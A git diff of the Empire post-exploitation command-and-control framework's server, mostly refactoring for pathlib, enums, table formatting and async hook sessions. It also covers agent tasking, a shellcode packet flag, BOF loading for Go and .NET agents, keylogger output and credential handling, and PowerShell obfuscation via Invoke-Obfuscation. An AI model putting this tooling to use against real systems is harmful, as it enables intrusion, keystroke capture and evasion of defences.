"\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - return string + fg = color_map.get(color.lower()) + else: + stripped = string.strip() + for prefix, prefix_color in prefix_map.items(): + if stripped.startswith(prefix): + fg = prefix_color + break + else: + return string + + return click.style(string, fg=fg, bold=True) def unique(seq, idfun=None): diff --git a/empire/server/common/malleable/implementation.py b/empire/server/common/malleable/implementation.py index 6f8a6d4e4..54f543a38 100644 --- a/empire/server/common/malleable/implementation.py +++ b/empire/server/common/malleable/implementation.py @@ -3,15 +3,12 @@ import random import string -import six.moves.urllib.error -import six.moves.urllib.parse -import six.moves.urllib.request from pyparsing import * from six.moves import range from .transaction import MalleableRequest, MalleableResponse, Transaction -from .transformation import Container, Terminator, Transform -from .utility import MalleableError, MalleableObject, MalleableUtil +from .transformation import Container + # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # IMPLEMENTATION @@ -400,10 +397,9 @@ def _defaults(self): self.client.verb = "GET" # Having a missing http-stager and '/' in http-get or http-post throws an error - # This catches it and generates a random http-stager uri + # Use a fixed default uri to avoid collision while remaining consistent across restarts if not self.client.uris: - self.client.uris = [] - self.client.uris.append("/" + self.get_random_string(8) + "/") + self.client.uris = ["/init/"] def _clone(self): """Deep copy of the Stager Transaction. diff --git a/empire/server/common/packets.py b/empire/server/common/packets.py index 2d02c6cb2..41c7db740 100644 --- a/empire/server/common/packets.py +++ b/empire/server/common/packets.py @@ -155,7 +155,7 @@ for name, ID in list(META.items()): META_IDS[ID] = name -ADDITIONAL = {} +ADDITIONAL = {"SHELLCODE": 1} ADDITIONAL_IDS = {} for name, ID in list(ADDITIONAL.items()): ADDITIONAL_IDS[ID] = name @@ -356,7 +356,7 @@ def parse_routing_packet(stagingKey, data): key = stagingKey.encode("UTF-8") enc_handler = encryption.ChaCha20Poly1305(key) routingPacket = enc_handler.open( - chacha_nonce, chacha_data, "" + chacha_nonce, chacha_data, b"" ) # Data set to null as we don't need it sessionID = routingPacket[0:8].decode("UTF-8") @@ -385,7 +385,7 @@ def parse_routing_packet(stagingKey, data): # check if we're at the end of the packet processing remainingData = data[chacha_header_length + offset + length :] - if not remainingData or remainingData == "": + if not remainingData: break offset += chacha_header_length + length diff --git a/empire/server/config.yaml b/empire/server/config.yaml index 0b001aa44..03d73aa26 100644 --- a/empire/server/config.yaml +++ b/empire/server/config.yaml @@ -42,14 +42,14 @@ database: ip_allow_list: [] ip_deny_list: [] empire_compiler: - archive: https://github.com/BC-SECURITY/Empire-Compiler/releases/download/v0.4.3/EmpireCompiler-{{platform}}-v0.4.3.tgz + archive: https://github.com/BC-SECURITY/Empire-Compiler/releases/download/v0.4.4/EmpireCompiler-{{platform}}-v0.4.4.tgz # Path to the confuser xml project file you want to use confuser_proj: empire/server/data/confuser.crproj starkiller: enabled: true repo: https://github.com/BC-SECURITY/Starkiller.git # Can be a branch, tag, or commit hash - ref: v3.3.0 + ref: v3.4.0 submodules: auto_update: true plugin_marketplace: diff --git a/empire/server/core/agent_communication_service.py b/empire/server/core/agent_communication_service.py index 9317b9264..349c03c76 100644 --- a/empire/server/core/agent_communication_service.py +++ b/empire/server/core/agent_communication_service.py @@ -2,11 +2,11 @@ import contextlib import json import logging -import os import random import string import threading import typing +from pathlib import Path from pydantic import ValidationError from sqlalchemy import and_ @@ -66,6 +66,16 @@ def add_agent_to_cache(self, agent: models.Agent): def is_ip_allowed(self, ip_address): return self.ip_service.is_ip_allowed(ip_address) + @staticmethod + def _is_path_safe(save_path: Path, download_dir: Path, session_id: str) -> bool: + """Check if a file path is safe (not a directory traversal attack).""" + if not save_path.resolve().is_relative_to(download_dir.resolve()): + log.warning( + "Agent %s attempted skywalker exploit! Path: %s", session_id, save_path + ) + return False + return True + def _decompress_python_data(self, data, filename, session_id): log.info( f"Compressed size of {filename} download: {helpers.get_file_size(data)}" @@ -101,15 +111,11 @@ def save_file( # noqa: PLR0913 # construct the appropriate save path download_dir = empire_config.directories.downloads save_path = download_dir / session_id / "/".join(parts[0:-1]) - filename = os.path.basename(parts[-1]) + filename = Path(parts[-1]).name save_file = save_path / filename with self._lock: - # fix for 'skywalker' exploit by @zeroSteiner - safe_path = download_dir.absolute() - if not str(os.path.normpath(save_file)).startswith(str(safe_path)): - message = f"Agent {session_id} attempted skywalker exploit! Attempted overwrite of {path} with data {data}" - log.warning(message) + if not self._is_path_safe(save_file, download_dir, session_id): return if not save_path.exists(): @@ -130,7 +136,7 @@ def save_file( # noqa: PLR0913 download = models.Download( location=str(location), filename=filename, - size=os.path.getsize(location), + size=location.stat().st_size, ) db.add(download) db.flush() @@ -155,7 +161,7 @@ def save_file( # noqa: PLR0913 db.flush() percent = round( - int(os.path.getsize(str(save_file))) / int(total_filesize) * 100, + save_file.stat().st_size / int(total_filesize) * 100, 2, ) @@ -179,16 +185,10 @@ def save_module_file(self, session_id, path, data, language: str): data = self._decompress_python_data(data, filename, session_id) with self._lock: - # fix for 'skywalker' exploit by @zeroSteiner - safe_path = download_dir.absolute() - if not str(os.path.normpath(save_file)).startswith(str(safe_path)): - message = f"agent {session_id} attempted skywalker exploit!\n[!] attempted overwrite of {path} with data {data}" - log.warning(message) + if not self._is_path_safe(save_file, download_dir, session_id): return None - # make the recursive directory structure if it doesn't already exist - if not save_path.exists(): - os.makedirs(save_path) + save_path.mkdir(parents=True, exist_ok=True) # save the file out @@ -199,7 +199,7 @@ def save_module_file(self, session_id, path, data, language: str): message = f"File {path} from {session_id} saved" log.info(message) - return str(save_file) + return save_file def _remove_agent(self, db: Session, session_id: str): """ @@ -368,7 +368,7 @@ def _get_queued_agent_tasks( return [] try: - tasks, total = self.agent_task_service.get_tasks( + tasks, _total = self.agent_task_service.get_tasks( db=db, agents=[session_id], include_full_input=True, @@ -871,7 +871,7 @@ def handle_agent_data( # noqa: PLR0913 routing_packet = routing_packet.encode("UTF-8") routing_packet = packets.parse_routing_packet(staging_key, routing_packet) if not routing_packet: - return [("", "ERROR: invalid routing packet")] + return [("", "ERROR: invalid routing packet", "NONE")] dataToReturn = [] @@ -883,7 +883,9 @@ def handle_agent_data( # noqa: PLR0913 if not is_valid_session_id(session_id): message = f"handle_agent_data(): invalid sessionID {session_id}" log.error(message) - dataToReturn.append(("", f"ERROR: invalid sessionID {session_id}")) + dataToReturn.append( + ("", f"ERROR: invalid sessionID {session_id}", "NONE") + ) elif meta in ("STAGE0", "STAGE1", "STAGE2"): message = f"handle_agent_data(): session_id {session_id} issued a {meta} request" log.debug(message) @@ -906,6 +908,7 @@ def handle_agent_data( # noqa: PLR0913 listener_options, client_ip, ), + additional, ) ) @@ -914,7 +917,7 @@ def handle_agent_data( # noqa: PLR0913 log.warning(message) dataToReturn.append( - ("", f"ERROR: session_id {session_id} not in cache!") + ("", f"ERROR: session_id {session_id} not in cache!", "NONE") ) elif meta == "TASKING_REQUEST": @@ -924,6 +927,7 @@ def handle_agent_data( # noqa: PLR0913 ( language, self.handle_agent_request(session_id, language, staging_key), + "NONE", ) ) @@ -938,6 +942,7 @@ def handle_agent_data( # noqa: PLR0913 self._handle_agent_response( session_id, encData, update_lastseen ), + "NONE", ) ) @@ -955,6 +960,7 @@ def handle_agent_request(self, session_id, language, staging_key): log.error(message) return None + # Phase 1: DB work only — release the connection ASAP with SessionLocal.begin() as db: self.agent_service.update_agent_lastseen(db, session_id) @@ -968,45 +974,50 @@ def handle_agent_request(self, session_id, language, staging_key): temp_tasks = self._get_queued_agent_temporary_tasks(session_id) tasks.extend(temp_tasks) - if len(tasks) > 0: - all_task_packets = b"" - - # build tasking packets for everything we have - for tasking in tasks: - input_full = tasking.input_full - if tasking.task_name in [ - "TASK_CSHARP_CMD_JOB", - "TASK_CSHARP_CMD_WAIT", - ]: - # This is where we read the input file. - # We could change it to use the linked/tagged download. - # But this still works. - with open(tasking.input_full.split("|")[0], "rb") as f: - input_full = f.read() - input_full = base64.b64encode(input_full).decode("UTF-8") - input_full += tasking.input_full.split("|", maxsplit=1)[1] - all_task_packets += packets.build_task_packet( - tasking.task_name, input_full, tasking.id - ) - # get the session key for the agent - session_key = self.agents[session_id]["sessionKey"] - with contextlib.suppress(Exception): - session_key = bytes.fromhex(session_key) + # Flush pending changes (e.g. task status → pulled) before + # detaching, then expunge so loaded attributes remain + # accessible after the session closes. + db.flush() + db.expunge_all() - # encrypt the tasking packets with the agent's session key - encrypted_data = AESCipher.encrypt_then_hmac( - session_key, all_task_packets - ) + # Phase 2: file I/O, encryption, packet building (no DB needed) + if not tasks: + return None - return packets.build_routing_packet( - staging_key, - session_id, - language, - meta="SERVER_RESPONSE", - encData=encrypted_data, - ) + all_task_packets = b"" + + # build tasking packets for everything we have + for tasking in tasks: + input_full = tasking.input_full + if tasking.task_name in [ + "TASK_CSHARP_CMD_JOB", + "TASK_CSHARP_CMD_WAIT", + ]: + # This is where we read the input file. + # We could change it to use the linked/tagged download. + # But this still works. + with Path(tasking.input_full.split("|")[0]).open("rb") as f: + input_full = f.read() + input_full = base64.b64encode(input_full).decode("UTF-8") + input_full += tasking.input_full.split("|", maxsplit=1)[1] + all_task_packets += packets.build_task_packet( + tasking.task_name, input_full, tasking.id + ) + # get the session key for the agent + session_key = self.agents[session_id]["sessionKey"] + with contextlib.suppress(Exception): + session_key = bytes.fromhex(session_key) - return None + # encrypt the tasking packets with the agent's session key + encrypted_data = AESCipher.encrypt_then_hmac(session_key, all_task_packets) + + return packets.build_routing_packet( + staging_key, + session_id, + language, + meta="SERVER_RESPONSE", + encData=encrypted_data, + ) def _handle_agent_response(self, session_id, enc_data, update_lastseen=False): """ @@ -1202,21 +1213,24 @@ def _process_agent_packet( # noqa: PLR0912 PLR0915 architecture=architecture, ) - sysinfo = "{: <18}".format("Listener:") + listener + "\n" - sysinfo += "{: <18}".format("Internal IP:") + internal_ip + "\n" - sysinfo += "{: <18}".format("Username:") + username + "\n" - sysinfo += "{: <18}".format("Hostname:") + hostname + "\n" - sysinfo += "{: <18}".format("OS:") + os_details + "\n" - sysinfo += ( - "{: <18}".format("High Integrity:") + str(high_integrity) + "\n" - ) - sysinfo += "{: <18}".format("Process Name:") + process_name + "\n" - sysinfo += "{: <18}".format("Process ID:") + process_id + "\n" - sysinfo += "{: <18}".format("Language:") + language + "\n" - sysinfo += ( - "{: <18}".format("Language Version:") + language_version + "\n" + sysinfo = ( + "\n".join( + [ + f"{'Listener:':<18}{listener}", + f"{'Internal IP:':<18}{internal_ip}", + f"{'Username:':<18}{username}", + f"{'Hostname:':<18}{hostname}", + f"{'OS:':<18}{os_details}", + f"{'High Integrity:':<18}{high_integrity}", + f"{'Process Name:':<18}{process_name}", + f"{'Process ID:':<18}{process_id}", + f"{'Language:':<18}{language}", + f"{'Language Version:':<18}{language_version}", + f"{'Architecture:':<18}{architecture}", + ] + ) + + "\n" ) - sysinfo += "{: <18}".format("Architecture:") + architecture + "\n" # update the agent log self.agent_service.save_agent_log(session_id, sysinfo) @@ -1236,7 +1250,7 @@ def _process_agent_packet( # noqa: PLR0912 PLR0915 # Close socks client self.agent_socks_service.close_socks_client(agent) - elif response_name in ["TASK_SHELL"]: + elif response_name == "TASK_SHELL": # shell command response # update the agent log self.agent_service.save_agent_log(session_id, data) @@ -1289,7 +1303,7 @@ def _process_agent_packet( # noqa: PLR0912 PLR0915 self.agent_service.save_agent_log(session_id, data) elif response_name == "TASK_GETDOWNLOADS": - if not data or data.strip().strip() == "": + if not data or not data.strip(): data = "[*] No active downloads" # update the agent log @@ -1304,7 +1318,7 @@ def _process_agent_packet( # noqa: PLR0912 PLR0915 pass elif response_name == "TASK_GETJOBS": - if not data or data.strip().strip() == "": + if not data or not data.strip(): data = "[*] No active jobs" # running jobs @@ -1332,7 +1346,7 @@ def _process_agent_packet( # noqa: PLR0912 PLR0915 for cred in creds: hostname = cred[4] - if hostname == "": + if not hostname: hostname = agent.hostname os_details = agent.os_details @@ -1374,15 +1388,18 @@ def _process_agent_packet( # noqa: PLR0912 PLR0915 session_id, save_path, file_data, agent.language ) + if final_save_path is None: + return + # update the agent log msg = f"Output saved to .{final_save_path}" self.agent_service.save_agent_log(session_id, msg) # attach file to tasking download = models.Download( - location=final_save_path, - filename=final_save_path.split("/")[-1], - size=os.path.getsize(final_save_path), + location=str(final_save_path), + filename=final_save_path.name, + size=final_save_path.stat().st_size, ) db.add(download) db.flush() @@ -1396,16 +1413,12 @@ def _process_agent_packet( # noqa: PLR0912 PLR0915 # check if this is the powershell keylogging task, if so, write output to file instead of screen if key_log_task_id and key_log_task_id == task_id: download_dir = empire_config.directories.downloads - safe_path = download_dir.absolute() save_path = download_dir / session_id / "keystrokes.txt" - # fix for 'skywalker' exploit by @zeroSteiner - if not str(os.path.normpath(save_path)).startswith(str(safe_path)): - message = f"agent {session_id} attempted skywalker exploit!" - log.warning(message) + if not self._is_path_safe(save_path, download_dir, session_id): return - with open(save_path, "a+") as f: + with save_path.open("a+") as f: if isinstance(data, bytes): data = data.decode("UTF-8") new_results = ( @@ -1426,7 +1439,7 @@ def _process_agent_packet( # noqa: PLR0912 PLR0915 for cred in creds: hostname = cred[4] - if hostname == "": + if not hostname: hostname = agent.hostname os_details = agent.os_details @@ -1466,7 +1479,7 @@ def _process_agent_packet( # noqa: PLR0912 PLR0915 for cred in creds: hostname = cred[4] - if hostname == "": + if not hostname: hostname = agent.hostname os_details = agent.os_details diff --git a/empire/server/core/agent_service.py b/empire/server/core/agent_service.py index cb7f1d168..30b3951ca 100644 --- a/empire/server/core/agent_service.py +++ b/empire/server/core/agent_service.py @@ -87,7 +87,7 @@ def create_agent( # noqa: PLR0913 if not session_key: session_key = AESCipher.generate_key() - if not profile or profile == "": + if not profile: profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" agent = models.Agent( diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py index 9149abc9e..1455a4c65 100644 --- a/empire/server/core/agent_task_service.py +++ b/empire/server/core/agent_task_service.py @@ -126,7 +126,7 @@ def get_tasks( # noqa: PLR0913 PLR0912 results = query.all() - total = 0 if len(results) == 0 else results[0].total + total = 0 if not results else results[0].total results = [x[0] for x in results] return results, total diff --git a/empire/server/core/bypass_service.py b/empire/server/core/bypass_service.py index 88d3d67f0..cdda4b12f 100644 --- a/empire/server/core/bypass_service.py +++ b/empire/server/core/bypass_service.py @@ -1,7 +1,6 @@ import fnmatch import logging import typing -from pathlib import Path import yaml from sqlalchemy.orm import Session @@ -25,7 +24,7 @@ def __init__(self, main_menu: "MainMenu"): self.load_bypasses(db) def load_bypasses(self, db: Session): - root_path = Path(self.main_menu.installPath) / "bypasses" + root_path = self.main_menu.install_path / "bypasses" log.info(f"v2: Loading bypasses from: {root_path}") # Get the list of default bypass names from config diff --git a/empire/server/core/db/models.py b/empire/server/core/db/models.py index a2f04fee2..8fb599775 100644 --- a/empire/server/core/db/models.py +++ b/empire/server/core/db/models.py @@ -435,7 +435,7 @@ def get_bytes_file(self): return Path(self.location).read_bytes() -class AgentTaskStatus(str, enum.Enum): +class AgentTaskStatus(enum.StrEnum): queued = "queued" pulled = "pulled" completed = "completed" @@ -499,7 +499,7 @@ class Plugin(Base): installed_version = Column(String(255), nullable=False, default="unknown") -class PluginTaskStatus(str, enum.Enum): +class PluginTaskStatus(enum.StrEnum): queued = "queued" started = "started" completed = "completed" @@ -627,7 +627,7 @@ class Tag(Base): ) -class IpList(str, enum.Enum): +class IpList(enum.StrEnum): allow = "allow" deny = "deny" diff --git a/empire/server/core/download_service.py b/empire/server/core/download_service.py index 73a5f22dd..5ac8edd62 100644 --- a/empire/server/core/download_service.py +++ b/empire/server/core/download_service.py @@ -67,7 +67,7 @@ def get_all( # noqa: PLR0913 PLR0912 ) subquery = None - if len(sub) > 0: + if sub: subquery = sub[0] if len(sub) > 1: subquery = subquery.union(*sub[1:]) @@ -114,7 +114,7 @@ def get_all( # noqa: PLR0913 PLR0912 results = query.all() - total = 0 if len(results) == 0 else results[0].total + total = 0 if not results else results[0].total results = [x[0] for x in results] return results, total diff --git a/empire/server/core/go.py b/empire/server/core/go.py index 7f4bfbf10..b51e72fe1 100644 --- a/empire/server/core/go.py +++ b/empire/server/core/go.py @@ -13,11 +13,11 @@ class GoCompiler: - def __init__(self, install_path): + def __init__(self, install_path: Path): self.install_path = install_path self.jinja_env = jinja2.Environment( loader=jinja2.FileSystemLoader( - str(Path(self.install_path) / "data/agent/gopire") + str(self.install_path / "data/agent/gopire") ), autoescape=True, ) @@ -25,7 +25,7 @@ def __init__(self, install_path): def compile_task(self, source_code, task_name, goos="linux", goarch="amd64"): random_suffix = random_string(5) source_path = self.compiler / f"{task_name}_{random_suffix}.go" - with open(source_path, "w") as source_file: + with source_path.open("w") as source_file: source_file.write(source_code) # Prepare the Go build command @@ -67,7 +67,7 @@ def generate_main_go(self, template_path, output_path, template_vars): template = self.jinja_env.get_template(template_path) rendered_content = template.render(template_vars) - with open(output_path, "w") as output_file: + with Path(output_path).open("w") as output_file: output_file.write(rendered_content) def compile_stager(self, template_vars, task_name, goos="windows", goarch="amd64"): @@ -77,7 +77,7 @@ def compile_stager(self, template_vars, task_name, goos="windows", goarch="amd64 # This should move to a temp location. Using this static path will # cause issues when multiple stagers are compiled at the same time. - source_file = Path(self.install_path) / "data/agent/gopire/main.go" + source_file = self.install_path / "data/agent/gopire/main.go" with ( tempfile.NamedTemporaryFile(delete=False) as temp_executable_file, diff --git a/empire/server/core/hooks.py b/empire/server/core/hooks.py index b274e8abb..81303a86f 100644 --- a/empire/server/core/hooks.py +++ b/empire/server/core/hooks.py @@ -2,9 +2,67 @@ import logging from collections.abc import Callable +from sqlalchemy.orm import Session + +from empire.server.core.db.base import SessionLocal + log = logging.getLogger(__name__) +def _log_task_exception(task: asyncio.Task, hook: Callable, event: str) -> None: + """Log exceptions from fire-and-forget async hook tasks. + + Exceptions raised inside loop.create_task() are not caught by the + try/except in run_hooks because the task runs after run_hooks returns. + This callback ensures they are logged immediately when the task finishes. + """ + try: + task.result() + except asyncio.CancelledError: + log.debug("Async hook %s for event '%s' was cancelled", hook, event) + except Exception as exc: + log.error( + "Async hook %s failed for event '%s': %s", + hook, + event, + exc, + exc_info=True, + ) + + +async def _run_async_hook(hook: Callable, *args) -> None: + """Run an async hook with a fresh, properly scoped DB session. + + Async hooks are dispatched via loop.create_task(), which means they run + after the caller's `with SessionLocal.begin() as db:` block has already + exited. Passing the caller's session directly is unsafe: any db.query() + call inside the hook triggers SQLAlchemy autobegin, re-acquiring a pool + connection with no code to release it — exhausting the pool under load. + + Opens a fresh SessionLocal session, merges any ORM objects from the + caller's args into it, and calls the hook. The session commits and closes + when the hook returns. + + Uses load=False on merge to skip the SELECT lookup. Without load=False, + merge issues a SELECT for each ORM object; if the outer transaction has + flushed but not yet committed the row, the SELECT finds nothing and marks + the object as pending (new). On commit, SQLAlchemy tries to INSERT the + row, hitting a 50-second MySQL lock wait on the uncommitted PK. + + If args[0] is not a Session, args are forwarded unchanged. + """ + if args and isinstance(args[0], Session): + rest = args[1:] + with SessionLocal.begin() as db: + merged = [ + db.merge(arg, load=False) if hasattr(arg, "__mapper__") else arg + for arg in rest + ] + await hook(db, *merged) + else: + await hook(*args) + + class Hooks: """ Hooks are currently a *Beta feature*. The methods, event names, and callback arguments are subject to change until @@ -107,13 +165,19 @@ def run_hooks(self, event: str, *args): loop = None if loop and loop.is_running(): - loop.create_task(hook(*args)) + # Exceptions from the scheduled task are NOT caught by + # the surrounding try/except — they run after run_hooks + # returns. The done callback handles error logging. + task = loop.create_task(_run_async_hook(hook, *args)) + task.add_done_callback( + lambda t, h=hook, e=event: _log_task_exception(t, h, e) + ) else: - asyncio.run(hook(*args)) + asyncio.run(_run_async_hook(hook, *args)) else: hook(*args) except Exception as e: - log.error(f"Hook {hook} failed: {e}", exc_info=True) + log.error(f"Hook {hook} failed for event '{event}': {e}", exc_info=True) def run_filters(self, event: str, *args): """ diff --git a/empire/server/core/hooks_internal.py b/empire/server/core/hooks_internal.py index b5ab19048..afbef36ac 100644 --- a/empire/server/core/hooks_internal.py +++ b/empire/server/core/hooks_internal.py @@ -3,7 +3,7 @@ from json.decoder import JSONDecodeError import jq -import terminaltables +from prettytable import PrettyTable from sqlalchemy import and_ from sqlalchemy.orm import Session @@ -13,6 +13,17 @@ log = logging.getLogger(__name__) +def _format_table(headers: list[str], rows: list[list]) -> str: + table = PrettyTable(headers) + table.border = False + table.align = "l" + for row in rows: + table.add_row(row) + lines = table.get_string().split("\n") + lines.insert(1, "-" * len(lines[0])) + return "\n".join(lines) + + def ps_hook(db: Session, task: models.AgentTask): """ This hook watches for the 'ps' command and writes the processes into the processes table. @@ -134,13 +145,9 @@ def ps_filter(db: Session, task: models.AgentTask): ] ) - output_list.insert(0, ["PID", "ProcessName", "Arch", "UserName", "MemUsage"]) - - table = terminaltables.AsciiTable(output_list) - table.inner_row_border = False - table.outer_border = False - table.inner_column_border = False - task.output = table.table + task.output = _format_table( + ["PID", "ProcessName", "Arch", "UserName", "MemUsage"], output_list + ) return db, task @@ -179,13 +186,9 @@ def ls_filter(db: Session, task: models.AgentTask): ] ) - output_list.insert(0, ["Mode", "Owner", "LastWriteTime", "Length", "Name"]) - - table = terminaltables.AsciiTable(output_list) - table.inner_row_border = False - table.outer_border = False - table.inner_column_border = False - task.output = table.table + task.output = _format_table( + ["Mode", "Owner", "LastWriteTime", "Length", "Name"], output_list + ) return db, task @@ -206,18 +209,14 @@ def ipconfig_filter(db: Session, task: models.AgentTask): if isinstance(output, dict): # if there's only one adapter, it won't be a list. output = [output] - output_list = [] + table = PrettyTable(header=False) + table.border = False + table.align = "l" for rec in output: for key, value in rec.items(): - output_list.append([key, f": {value}"]) - output_list.append([]) - - table = terminaltables.AsciiTable(output_list) - table.inner_heading_row_border = False - table.inner_row_border = False - table.outer_border = False - table.inner_column_border = False - task.output = table.table + table.add_row([key, f": {value}"]) + table.add_row(["", ""]) + task.output = table.get_string() return db, task @@ -228,7 +227,7 @@ def route_filter(db: Session, task: models.AgentTask): if the results are from the Python or C# agents, it does nothing. """ - if task.input.strip() not in ["route"] or task.agent.language != "powershell": + if task.input.strip() != "route" or task.agent.language != "powershell": return db, task output = json.loads(task.output) @@ -245,13 +244,9 @@ def route_filter(db: Session, task: models.AgentTask): ] ) - output_list.insert(0, ["Destination", "Netmask", "NextHop", "Interface", "Metric"]) - - table = terminaltables.AsciiTable(output_list) - table.inner_row_border = False - table.outer_border = False - table.inner_column_border = False - task.output = table.table + task.output = _format_table( + ["Destination", "Netmask", "NextHop", "Interface", "Metric"], output_list + ) return db, task diff --git a/empire/server/core/listener_template_service.py b/empire/server/core/listener_template_service.py index 0b4b2d101..dac492e76 100644 --- a/empire/server/core/listener_template_service.py +++ b/empire/server/core/listener_template_service.py @@ -2,7 +2,6 @@ import importlib.util import logging import typing -from pathlib import Path from sqlalchemy.orm import Session @@ -29,10 +28,8 @@ def __init__(self, main_menu: "MainMenu"): def new_instance(self, template: str): instance = type(self._loaded_listener_templates[template])(self.main_menu) for value in instance.options.values(): - if value.get("SuggestedValues") is None: - value["SuggestedValues"] = [] - if value.get("Strict") is None: - value["Strict"] = False + value.setdefault("SuggestedValues", []) + value.setdefault("Strict", False) return instance @@ -47,7 +44,7 @@ def _load_listener_templates(self, db: Session): Load listeners from the install + "/listeners/*" path """ - root_path = Path(self.main_menu.installPath) / "listeners" + root_path = self.main_menu.install_path / "listeners" log.info(f"v2: Loading listener templates from: {root_path}") for file_path in root_path.rglob("*.py"): @@ -65,13 +62,9 @@ def _load_listener_templates(self, db: Session): listener = mod.Listener(self.main_menu) for value in listener.options.values(): - if value.get("SuggestedValues") is None: - value["SuggestedValues"] = [] - if value.get("Strict") is None: - value["Strict"] = False - if value.get("Internal") is None: - value["Internal"] = False - if value.get("Depends_on") is None: - value["Depends_on"] = [] + value.setdefault("SuggestedValues", []) + value.setdefault("Strict", False) + value.setdefault("Internal", False) + value.setdefault("Depends_on", []) self._loaded_listener_templates[slugify(listener_name)] = listener diff --git a/empire/server/core/module_models.py b/empire/server/core/module_models.py index d1c31ae66..ae2fbf326 100644 --- a/empire/server/core/module_models.py +++ b/empire/server/core/module_models.py @@ -1,10 +1,10 @@ -from enum import Enum +from enum import StrEnum from typing import Any from pydantic import BaseModel, ConfigDict, field_validator -class LanguageEnum(str, Enum): +class LanguageEnum(StrEnum): python = "python" powershell = "powershell" csharp = "csharp" diff --git a/empire/server/core/module_service.py b/empire/server/core/module_service.py index b4aa942f2..a5ec75efc 100644 --- a/empire/server/core/module_service.py +++ b/empire/server/core/module_service.py @@ -157,7 +157,7 @@ def execute_module( # noqa: PLR0913 PLR0912 PLR0915 err = None # Should standardize on the return type. - if not module_data or module_data == "": + if not module_data: # This should probably be a ModuleExecutionException, but # for backwards compatability with 5.x, it needs to raise a 400 raise ModuleValidationException(err or "module produced an empty script") @@ -273,7 +273,7 @@ def execute_module( # noqa: PLR0913 PLR0912 PLR0915 @staticmethod def _handle_save_file_command(cmd_type, module_name, extension, module_data): if extension: - save_file_prefix = module_name.split("/")[-1][:15] + save_file_prefix = Path(module_name).name[:15] module_data = save_file_prefix.rjust(15) + extension + module_data return f"{cmd_type}_CMD_WAIT_SAVE", module_data return f"{cmd_type}_CMD_WAIT", module_data @@ -341,7 +341,7 @@ def _validate_module_params( # noqa: PLR0913 return options, None - def _generate_script( # noqa: PLR0911 + def _generate_script( # noqa: PLR0911, PLR0912 self, db: Session, module: EmpireModule, @@ -371,12 +371,16 @@ def _generate_script( # noqa: PLR0911 # In a future release we could refactor the modules to accept an obuscation_config, # but there's little benefit to doing so at this point. So I'm saving myself the pain. try: + kwargs = {} + if module.language == LanguageEnum.bof: + kwargs["agent_language"] = agent_language return module.advanced.generate_class.generate( self.main_menu, module, params, obfuscation_enabled, obfuscation_command, + **kwargs, ) except (ModuleValidationException, ModuleExecutionException) as e: raise e @@ -448,9 +452,7 @@ def generate_script_bof( ) params_dict = {} - params_dict["Entrypoint"] = ( - module.bof.entry_point if module.bof.entry_point else "go" - ) + params_dict["Entrypoint"] = module.bof.entry_point or "go" params_dict["File"] = b64_bof_data params_dict["HexData"] = process_arguments( module.bof.format_string, formatted_args @@ -466,6 +468,50 @@ def generate_script_bof( files=[script_file], ) + def format_bof_output( + self, + bof_data_b64: str, + hex_data: str, + agent_language: str, + obfuscate: bool = False, + entry_point: str = "go", + ) -> str: + """ + Build the final output string for a BOF module. + + For Go agents, returns base64-encoded JSON with File and HexData. + For .NET agents, compiles the RunCOFF wrapper and returns + the compiled file path with base64-encoded JSON. + """ + if agent_language == "go": + params_dict = { + "File": bof_data_b64, + "HexData": hex_data, + } + return base64.b64encode(json.dumps(params_dict).encode("utf-8")).decode( + "utf-8" + ) + + bof_module = self.modules["csharp_code_execution_runcoff"] + script_file = self.dotnet_compiler.compile_task( + bof_module.compiler_yaml, + bof_module.name, + dot_net_version="net40", + confuse=obfuscate, + ) + + params_dict = { + "Entrypoint": entry_point, + "File": bof_data_b64, + "HexData": hex_data, + } + + final_base64_json = base64.b64encode( + json.dumps(params_dict).encode("utf-8") + ).decode("utf-8") + + return f"{script_file}|,{final_base64_json}" + def generate_go_bof( self, module: EmpireModule, @@ -725,9 +771,12 @@ def _create_modified_module(self, module: EmpireModule, modified_input: str): return modified_module def load_modules(self, db: Session): - root_path = Path(self.main_menu.installPath) / "modules" + root_path = self.main_menu.install_path / "modules" log.info(f"v2: Loading modules from: {root_path}") + # Pre-load all existing module records to avoid per-module DB queries + existing_modules = {mod.id: mod for mod in db.query(models.Module).all()} + for file_path in root_path.rglob("*.y*ml"): filename = file_path.name if fnmatch.fnmatch(filename, "*template.yaml"): @@ -737,12 +786,19 @@ def load_modules(self, db: Session): try: yaml2 = yaml.load(file_path.read_text(), Loader=Loader) yaml_module = {k: v for k, v in yaml2.items() if v is not None} - self._load_module(db, yaml_module, root_path, file_path) + self._load_module( + db, yaml_module, root_path, file_path, existing_modules + ) except Exception as e: log.error(f"Error loading module {filename}: {e}") def _load_module( # noqa: PLR0912 - self, db: Session, yaml_module, root_path: Path, file_path: Path + self, + db: Session, + yaml_module, + root_path: Path, + file_path: Path, + existing_modules: dict | None = None, ): module_name = file_path.relative_to(root_path).with_suffix("").as_posix() yaml_module["techniques"].extend( @@ -831,7 +887,12 @@ def _load_module( # noqa: PLR0912 "Must provide a valid script, script_path, or custom generate function" ) - mod = db.query(models.Module).filter(models.Module.id == my_model.id).first() + if existing_modules is not None: + mod = existing_modules.get(my_model.id) + else: + mod = ( + db.query(models.Module).filter(models.Module.id == my_model.id).first() + ) if not mod: mod = models.Module( diff --git a/empire/server/core/obfuscation_service.py b/empire/server/core/obfuscation_service.py index 0ecbb961e..6506ed385 100644 --- a/empire/server/core/obfuscation_service.py +++ b/empire/server/core/obfuscation_service.py @@ -107,7 +107,7 @@ def obfuscate(self, ps_script, obfuscation_command): toObfuscateFile.write(ps_script) # Obfuscate using Invoke-Obfuscation w/ PowerShell - install_path = self.main_menu.installPath + install_path = self.main_menu.install_path toObfuscateFile.seek(0) subprocess.call( f'{data_util.get_powershell_name()} -C \'$ErrorActionPreference = "SilentlyContinue";Import-Module {install_path}/data/Invoke-Obfuscation/Invoke-Obfuscation.psd1;Invoke-Obfuscation -ScriptPath {toObfuscateFile.name} -Command "{self._convert_obfuscation_command(obfuscation_command)}" -Quiet | Out-File -Encoding ASCII {obfuscatedFile.name}\'', diff --git a/empire/server/core/plugin_service.py b/empire/server/core/plugin_service.py index 20bf59e71..5afbe98b9 100644 --- a/empire/server/core/plugin_service.py +++ b/empire/server/core/plugin_service.py @@ -55,7 +55,7 @@ def __init__(self, main_menu: "MainMenu"): self.main_menu = main_menu 